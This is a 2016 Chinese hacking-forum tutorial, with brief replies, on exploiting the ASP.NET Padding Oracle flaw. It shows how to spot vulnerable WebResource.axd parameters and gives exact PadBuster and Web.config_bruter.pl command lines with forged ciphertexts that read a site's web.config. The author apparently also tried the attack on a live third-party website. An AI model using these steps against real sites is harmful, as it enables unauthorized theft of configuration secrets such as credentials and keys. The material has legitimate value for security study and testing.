查看: 16570|回复: 5

Padding Oracle Attack

[复制链接]
发表于 2016-3-3 11:08:43 | 显示全部楼层 |阅读模式
本帖最后由 U神V5 于 2016-3-3 11:16 编辑

本文由u神原创,转载请注明原作者以及出处 http://www.ihonker.org/thread-7961-1-1.html




#1、寻找WebResource.axd

   
     这个漏洞利用的最关键的一点就是寻找WebResource.axd,准确的说是寻找网站中可能存在的对WebResource.axd的引用,因为网站中引用WebResource.axd的时候会显示出原本的加密字符串,类似这样的。不过可以使用AWVC对网站做一个深度全方位的扫描,或许可以找到这个文件的位置,如果AWVS扫到了这个文件的位置,会提示在哪个页面中的,在AWVS扫描结果中的文件列表显示栏也是可以直接看到WebResource.axd和它的参数和值的,这样就方便很多。

1.png


#2、判断是否存在Padding Oracle漏洞

   一般我们访问这个链接都是获得的CSS或者JS资源,实际这是一种加密形式的文件读取,就不像简单的http://127.0.0.1/test.aspx?file=/1.txt这样简单的了。为了判断这个程序是否存在漏洞,我们只要修改d的值最后一位:

如果返回:

HTTP 500 Padding is invalid and cannot be removed.

或者

HTTP 500 Base-64 字符数组的无效长度。


例如我们获取的是:

http://6**.**.**.**:**/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2

修改为

http://6**.**.**.**:**/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ1

提示

2.png


   则说明该网站可能存在ASP.NET Pading Oracle漏洞。



#3、使用PadBuster伪造密文

选取其中一条,只需要d的值,后面的t的值不需要。例如获取到的:

http://6**.**.**.**:**/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2

使用PadBuster工具

padBuster工具的全部参数:

选项:

3.png



      注意:默认kali 或BT5下都有这个工具,Kali的位置在于/usr/bin/padbuster、bactrack5的位置:/pentest/web/padbuster
或者可以在Windows下使用脚本,脚本需要安装Per程序。程序源码将会再尾页提供。


padBusterdotnet.pl http://127.0.0.1:81/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2 fUTgMrmxXz2EoDlng2fLLQ2 16 -encoding 3 -plaintext "|||~/Web.config"



#释义:这里的16为每个数据块的字节数,分为8和16,目前本人还没有什么好的方法判断这个字节数,所以需要大家可以两种都试一下(大多数为 16),
encoding参数是指定加密的编码格式,默认为0:有四种方式分别是:0=Base64,1=Lower HEX,2=Upper HEX,3=.NET UrlToken, 4=WebSafe Base64,由于本次测试为asp.net,所以这里我们选择3,-plaintext为准备加密的存文本,这里是以web.config来演示。


注意:如果 目标网站释义了ASP.NET的自定义错误CustomErrors功能,就需要使用prefix选择,否则不能利用

4.png


经过工具耐心的测试,成功获得了web.config的加密的值。

5.png

6.jpg


此时我们复制下这段值来。

y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1


#4、使用Web.config_bruter.pl暴力生成ScriptSource.axd所需要的密文


Web.config_bruter.pl http://127.0.0.1:81/ScriptResource.axd y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 16

7.jpg


注意:

1、URL后跟的是ScriptResource.axd,不再是WebResource.axd了,所以源代码中也必须获取有ScriptResource.axd
2、我这里写的XXXXXXXXXXXXXXXXXXXX是第一步得到的加密字符串,不是在网页源码中得到的参数d的值



此处程序似乎进入假死状态,没办法这个填充筛选的时间需要5分钟左右



经过漫长等待终于获取了web.config用于ScriptResource.axd的加密字符串了

7.png


#5、获取最终结果

最后就可以通过读取web.config了。这里获取的是ScriptResource脚本调用web.config的密文,所以访问的时候是使用ScriptResource.axd

访问网站:


http://127.0.0.1:81/ScriptResource.axd?d=Zu81vWKPjjSvwCuAAo5Qv8tqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0


8.png


此时整个攻击过程可以说是告一段落了,再来试试Kali和BT5下的,由于我的Kali速度太慢,用BT5再测试一个存在Padding Oracle漏洞的网站


9.jpg


10.jpg



最后获取的Web.config信息

11.jpg


评分

参与人数 1i币 +1 贡献 +2 收起 理由
90_ + 1 + 2 好久不见

查看全部评分

回复

使用道具 举报

发表于 2016-3-4 11:57:52 | 显示全部楼层
以前也看过这个,不过没仔细看。这个写得详细点,耐心的看完了。666
回复 支持 反对

使用道具 举报

发表于 2016-3-5 19:30:20 | 显示全部楼层

还是不错的哦,顶了
回复 支持 反对

使用道具 举报

发表于 2016-3-6 09:37:22 | 显示全部楼层
好久以qian的洞了,这个是linux版的,win版的需要pl脚本,好像
回复 支持 反对

使用道具 举报

发表于 2016-3-7 13:50:22 来自手机 | 显示全部楼层
仰望高端玩家
回复 支持 反对

使用道具 举报

发表于 2016-11-26 17:09:45 | 显示全部楼层
谢谢楼主分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-5-2 01:07 , Processed in 0.121024 second(s), 21 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部